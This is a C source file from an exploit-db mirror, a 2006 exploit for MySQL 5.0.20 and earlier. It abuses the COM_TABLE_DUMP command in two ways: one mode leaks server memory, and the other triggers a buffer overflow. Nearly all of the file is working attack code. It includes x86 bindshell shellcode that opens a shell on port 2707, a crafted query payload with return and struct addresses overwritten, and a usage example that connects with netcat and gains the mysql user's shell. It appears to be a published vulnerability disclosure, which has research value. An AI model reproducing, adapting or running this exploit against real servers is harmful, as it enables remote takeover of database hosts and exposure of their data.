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exploit-db-mirror/exploits/linux/remote/1741.c
Offensive Security b4c96a5864 DB: 2021-09-03 
28807 changes to exploits/shellcodes
2021-09-03 20:19:21 +00:00

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/* ****************************************************************
April 21.st 2006
my_exploit.c
MySql COM_TABLE_DUMP Memory Leak & MySql remote B0f
MySql <= 5.0.20
MySql COM_TABLE_DUMP Memory Leak
MySql <= 4.x.x
copyright 2006 Stefano Di Paola (stefano.dipaola_at_wisec.it)
GPL 2.0
****************************************************************
Disclaimer:
In no event shall the author be liable for any damages
whatsoever arising out of or in connection with the use
or spread of this information.
Any use of this information is at the user's own risk.
****************************************************************
compile with:
gcc -Imysql-5.0.20-src/include/ my_com_table_dump_exploit.c -Lmysql-5.0.20/lib/mysql/ -lmysqlclient -o my_exploit
Then:
my_exploit [-H] [-i] [-t 0xtable-address] [-a 0xthread-address] [[-s socket]|[-h host][-p port]][-x]
-H: this Help;
-i: Information leak exploit (shows the content of MySql Server Memory)
-x: shows c/s communication output in hexadecimal
-t: hexadecimal table_list struct address (by default we try to find it automatically)
-a: hexadecimal thread struct address (look at the error log to see something like: thd=0x8b1b338)
-u: mysql username (anonymous too ;)
-p: mysql userpass (if you need it)
-s: the socket path if is a unix socket
-h: hostname or IP address
-P: port (default 3306)
Example_1 - Memoryleak: my_exploit -s socketpath -u username -i
Example_2 - Remote Shell: my_exploit -h 127.0.0.1 -u username -a 0x8b1f468
For memory leak:
my_exploit -i [-u user] [-p password] [-s socket|[-h hostname [-P port]]]
For the bindshell to port 2707
my_exploit [-t 0xtableaddress] [-a 0xthdaddress] [-u user] [-p password] [-s socket|[-h hostname [-P port]]]
then from another shell:
nc 127.0.0.1 2707
id
uid=78(mysql) gid=78(mysql) groups=78(mysql)
*/
#include <stdio.h>
#include <mysql.h>
#include <unistd.h>
// we need to know the thread struct address pointer and the table_list.
// these are defaults, change them from command line.
int thd = 0x8b1b338;
int tbl = 0x8b3a880;
#define USOCK2 "/tmp/mysql.sock"
char addr_tdh[4];
char addr_tbl[4];
char addr_ret[4];
// constants to overwrite packet with addresses for table_list thread and our shell.
#define TBL_POS 182
#define THD_POS 178
#define RET_POS 174
#define SHL_POS 34
// bindshell spawns a shell with on port 2707
char shcode[] = {
0x6a, 0x66, 0x58, 0x6a, 0x01, 0x5b, 0x99, 0x52, 0x53, 0x6a, 0x02, 0x89 // 12
,0xe1, 0xcd, 0x80, 0x52, 0x43, 0x68, 0xff, 0x02, 0x0a, 0x93, 0x89, 0xe1
,0x6a, 0x10, 0x51, 0x50, 0x89, 0xe1, 0x89, 0xc6, 0xb0, 0x66, 0xcd, 0x80
,0x43, 0x43, 0xb0, 0x66, 0xcd, 0x80, 0x52, 0x56, 0x89, 0xe1, 0x43, 0xb0
,0x66, 0xcd, 0x80, 0x89, 0xd9, 0x89, 0xc3, 0xb0, 0x3f, 0x49, 0xcd, 0x80
,0x41, 0xe2, 0xf8, 0x52, 0x68, 0x6e, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x2f
,0x62, 0x69, 0x89, 0xe3, 0x52, 0x53, 0x89, 0xe1, 0xb0, 0x0b, 0xcd, 0x80 // 12*7= 84
};
int tmp_idx = 0;
int dump_packet_len = 7;
char table_dump_packet[] = { 0x03, 0x00, 0x00, 0x00, 0x13, 0x02, 0x73 };
int payload_len = 371;
// header packet + select '1234567890...etc'
char query_payload[] = {
0x6f, 0x01, 0x00, 0x00, 0x03, 0x73, 0x65, 0x6c, 0x65, 0x63, 0x74, 0x20, 0x27, 0x31, 0x32, 0x33 // 16 Some junk from position 6 ...
, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x31, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36 // 32
, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x32, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39 // 48
, 0x30, 0x5f, 0x33, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x34 // 64
, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x35, 0x5f, 0x31, 0x32 // 72
, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x36, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35 // 88
, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x37, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38 // 94
, 0x39, 0x30, 0x5f, 0x38, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x6a // 112
, 0x0b, 0x58, 0x99, 0x52, 0x68, 0x6e, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x2f, 0x62, 0x69, 0x89, 0xe3 // 128 endsh 118
, 0x52, 0x53, 0x89, 0xe1, 0xcd, 0x80, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4c, 0x4d // 144
, 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x5a, 0x5f, 0x61, 0x61, 0x62, 0x62, 0x63 // 160
, 0x63, 0x64, 0x64, 0xa0, 0xe9, 0xff, 0xbf, 0xa0, 0xe9, 0xff, 0xbf, 0xa0, 0xe9, 0x6c, 0xbf, 0x6d // 176
, 0x6d, 0x6e, 0x6e, 0xff, 0x6f, 0x70, 0x70, 0x71, 0x71, 0x72, 0x72, 0x73, 0x73, 0x74, 0x74, 0x75 // 192 178
, 0x75, 0x76, 0x76, 0x7a, 0x7a, 0x5f, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d // 208
, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d // 224
, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d // 240
, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d // 256
, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d // 272
, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d // 288
, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d //
, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d //
, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d //
, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d //
, 0x3d, 0x3d, 0x27
}; // 16*23+3 = 371
static int s = 0, c = 0;
int fd = 0;
int d = 1;
int hexdump = 0;
char buf[65535];
MYSQL *conn; /* pointer to connection handler */
int
sendit (char *buf1, int fdest, int dblen)
{
int len1;
int i = 0;
int ret = 0;
printf ("%d\n", d);
if (d == 2)
{
// let's prepare the query packet
int o;
int position = 14;
tmp_idx = 3;
int ret = tbl - 0x106 + 33;
for (i = 0; i < 32; i += 8)
addr_ret[tmp_idx--] = (ret >> i) & 0xff;
tmp_idx = 3;
for (i = 0; i < 32; i += 8)
addr_tdh[tmp_idx--] = (thd >> i) & 0xff;
tmp_idx = 3;
for (i = 0; i < 32; i += 8)
addr_tbl[tmp_idx--] = (tbl >> i) & 0xff;
printf ("ret %x\n", ret);
#if 1
tmp_idx = 0;
for (o = THD_POS; o > THD_POS - 4; o--)
query_payload[o] = addr_tdh[tmp_idx++];
tmp_idx = 0;
for (o = TBL_POS; o > TBL_POS - 4; o--)
query_payload[o] = addr_tbl[tmp_idx++];
tmp_idx = 0;
for (o = RET_POS; o > RET_POS - 4; o--)
query_payload[o] = addr_ret[tmp_idx++];
#else
for (; position < payload_len - 12; position += 12)
{
tmp_idx = 0;
printf ("p:%d\n", position);
for (o = position + 4; o > position; o--)
query_payload[o] = addr_ret[tmp_idx++];
tmp_idx = 0;
for (o = position + 8; o > position + 4; o--)
query_payload[o] = addr_tdh[tmp_idx++];
tmp_idx = 0;
for (o = position + 12; o > position + 8; o--)
query_payload[o] = addr_tbl[tmp_idx++];
}
#endif
tmp_idx = 0;
for (o = SHL_POS; o < SHL_POS + 84; o++)
query_payload[o] = shcode[tmp_idx++];
printf ("entro\n");
buf1 = query_payload;
len1 = payload_len;
}
else if (d >= 3)
{
printf ("entro\n");
// prepare table_dump request - PACK_LEN, 0x00, 0x00, 0x00, COM_TABLE_DUMP (0x13), DB_NAME_LEN (2) , RANDOM_CHAR (=0x73)
buf1 = table_dump_packet;
if (dblen >= 0)
buf1[5] = (char) dblen;
printf ("%x", (char) dblen);
len1 = dump_packet_len;
}
d++;
printf ("\nClient -> Server\n");
if (hexdump)
{
for (i = 0; i < len1; i++)
printf (" %.2x%c", (unsigned char) buf1[i],
((i + 1) % 16 ? ' ' : '\n'));
printf ("\n");
for (i = 0; i < len1; i++)
{
unsigned char f = (unsigned char) buf1[i];
printf (" %.2c%2c", (isprint (f) ? f : '.'),
(((i + 1) % 16) ? ' ' : '\n'));
}
}
if (send (fd, buf1, len1, 0) != len1)
{
perror ("cli: send(buf3)");
exit (1);
}
fdest = fd;
memset (buf, 0, 65535);
ret = recv (fdest, buf, 65535, 0);
printf ("\nServer -> Client\n");
if (hexdump)
{
for (i = 0; i < ret; i++)
printf (" %.2x%c", (unsigned char) buf[i],
((i + 1) % 16 ? ' ' : '\n'));
printf ("\n");
for (i = 0; i < ret; i++)
{
unsigned char f = (unsigned char) buf[i];
printf (" %.2c%2c", (isprint (f) ? f : '.'),
((i + 1) % 16 ? ' ' : '\n'));
}
}
else
{
printf ("\n%s\n", buf + 5);
}
// printf("\nSending to client\n");
// ret= send(c, buf, ret, 0);
return 0;
}
usage ()
{
printf
("\nusage my_exploit [-H] [-i] [-t 0xtable-address] [-a 0xthread-address] [[-s socket]|[-h host][-p port]][-x]\n\n\
-H: this Help;\n\
-i: Information leak exploit (shows the content of MySql Server Memory)\n\
-x: shows c/s communication output in hexadecimal\n\
-t: hexadecimal table_list struct address (by default we try to find it automatically)\n\
-a: hexadecimal thread struct address (look at the error log to see something like: thd=0x8b1b338)\n\
-u: mysql username (anonymous too ;)\n\
-p: mysql userpass (if you need it)\n\
-s: the socket path if is a unix socket\n\
-h: hostname or IP address\n\
-P: port (default 3306)\n\n\nExample_1 - Memoryleak: my_exploit -h 127.0.0.1 -u username -i\n\n\
Example_2 - Remote Shell on port 2707: my_exploit -h 127.0.0.1 -u username -a 0x8b1b338 -t 0x8b3a880\n\n\
");
}
int
main (int argc, char *argv[])
{
int fdest = 0;
int port = 3306;
int shell = 1;
int force_table = 0;
char buf1[65535];
char *socket;
char *user = NULL;
char *pass = NULL;
char *host = NULL;
socket = strdup ("/tmp/mysql2.sock");
opterr = 0;
while ((c = getopt (argc, argv, "s:t:a:P:Hh:u:p:ix")) != -1)
switch (c)
{
case 's':
socket = (char *) optarg;
break;
case 't':
force_table = 1;
tbl = (int) strtol (optarg, NULL, 16);
//tbl=atoi( optarg );
break;
case 'a':
thd = (int) strtol (optarg, NULL, 16);
break;
case 'u':
user = (char *) optarg;
break;
case 'p':
pass = (char *) optarg;
break;
case 'P':
port = atoi (optarg);
break;
case 'h':
host = (char *) optarg;
break;
case 'i':
shell = 0;
break;
case 'x':
hexdump = 1;
break;
case 'H':
usage ();
return 1;
default:
break;
}
if (!force_table)
tbl = thd + 0x1f548;
conn = mysql_init (NULL);
int ret = mysql_real_connect (conn, /* pointer to connection handler */
host, /* host to connect to */
user, /* user name */
pass, /* password */
NULL, /* database to use */
0, /* port (use default) */
socket, /* socket (use default) */
0); /* flags (none) */
if (!ret)
{
fprintf (stderr, "Can't connect, error : %s\n", mysql_error (conn));
return 1;
}
printf ("using table_list:%x thread:%x\n", tbl, thd);
fd = conn->net.fd;
if (shell)
{
d = 2;
sendit (buf1, fdest, -1);
d = 3;
sendit (buf1, fdest, -1);
d = 3;
sendit (buf1, fdest, -1);
}
else
{
int l;
d = 3;
for (l = 0; l < 256; l++)
{
sendit (buf1, fdest, l);
}
}
mysql_close (conn);
exit (0);
}
// milw0rm.com [2006-05-02]
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